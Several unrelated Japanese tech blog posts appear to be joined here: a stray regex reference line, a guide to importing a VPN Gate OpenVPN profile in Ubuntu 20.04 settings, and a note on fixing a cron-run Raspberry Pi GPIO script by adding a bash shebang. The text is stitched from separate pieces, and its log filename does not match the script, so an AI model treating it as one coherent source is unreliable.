参考文献は[Linuxで使う正規表現についてまとめました](https://eng-entrance.com/linux-regular-expression)や[正規表現のポイント](https://www.youtube.com/watch?v=OiEMjflgAuU)
Ubuntu 20.04 LTSでVPNに接続する

どうも皆さんこんにちは。
最近めちゃくちゃ熱くなりましたね、夏とかどうなるのでしょうか。
そんな私は公衆WIFIでVPNを使いたくなったのでUbuntuでのVPNの接続方法を探していると、めちゃめちゃ簡単だったので忘れないうちに書き留めておこうと思います。
その前にVPNのプロファイルをダウンロードしておきましょう。
私は**筑波大学様**のVPN Gateの**OpenVPNプロファイル（DDNSホスト名が組み込まれている方）**をダウンロードしました。
沢山あるのですが、私は応答速度が速いもの（msが低いもの）を使うことにしました。
https://www.vpngate.net/ja/
#やり方
**設定**を開き**「ネットワーク」**を開きます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/c75000e7-82ad-0a82-ec08-73c22dd45b31.png)
ここで**「VPN」**の横にある**「+」**を押しましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/a06634a3-7670-9557-1b83-48f855b23317.png)
**「ファイルからインポート」**を押しましょう。
そこから先程ダウンロードした**「.ovpn」**形式のものを選択しましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/0c36040b-9ca6-f50b-cf18-da6225012076.png)
選択すると、プロファイルに記入されている情報が自動的に入力されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/20329453-b6c7-eb1e-b2be-b8035915096e.png)
そして**「追加」**を押し
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/7d6becb3-5b3a-166a-29a6-7bebf7e48d93.png)
スイッチを押し有効にすると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/7f7acd50-7962-8ca2-b30c-1abb29b7ae16.png)
うまくいけば接続されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294563/2ce84872-e36a-b961-1b76-0ef14c69a6b0.png)
分かりにくいですがIPアドレスもしっかり変わっています。
そして公衆WIFIでブロックされていたサイトにもアクセスできるようになっています。
#〆
拍子抜けするほど簡単でした。
一部のサイトがブロックされてしまうのはとても不便だったのでこれでぐっすり眠れます。
おやすみなさい。
#引用
https://www.cman.jp/network/support/go_access.cgi
https://www.vpngate.net/ja/
**Thank you!!**
crontabでは/bin/shで実行される

# 背景
朝からめちゃくちゃ詰まったのでここに備忘録

# 内容
## 問題
下記のようなスクリプトを`cron`で実行しようとしたところ。

```shell:door.sh
while true; do
    pin17bffn=/var/tmp/pin17
    pin17=$(gpio -g read 17)
    pin17bf=0

    if [[ -e $pin17bffn ]]; then
        pin17bf=$(cat $pin17bffn)
    fi

    if [[ $pin17 -ne $pin17bf ]]; then
        curl -s -XPOST -d "$pin17" https://xxxx
    fi

    echo $pin17>$pin17bffn

    sleep 1
done

```


```:crontab
@reboot nohup /home/pi/door.sh  &
```

うまく動かない…

よく見るとログが出力されていました。

```log:/home/pi/nohup.out
/home/pi/checkpin2.s: 10: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 6: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 10: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 6: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 10: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 6: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 10: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 6: /home/pi/checkpin2.s: [[: not found
/home/pi/checkpin2.s: 10: /home/pi/checkpin2.s: [[: not found
```

## 解決

どうやらシェルスクリプトがうまく解釈されていない？
このErrorで調べたところ

**String comparison in bash. [[: not found**
https://stackoverflow.com/questions/12230690/string-comparison-in-bash-not-found

そのまんまなページを発見
中身を読むと`/bin/bash`で実行されていないことが原因

では実際に何で実行されている…？

```shell

echo "$SHELL"
>/bin/bash

crontab -e
>*/1 * * * * echo "$SHELL">/var/tmp/shell.log

cat /var/tmp/shell.log 
>/bin/sh
```

ということで、下記のコードをソースに追加して解決

```shell
#!/bin/bash
...
```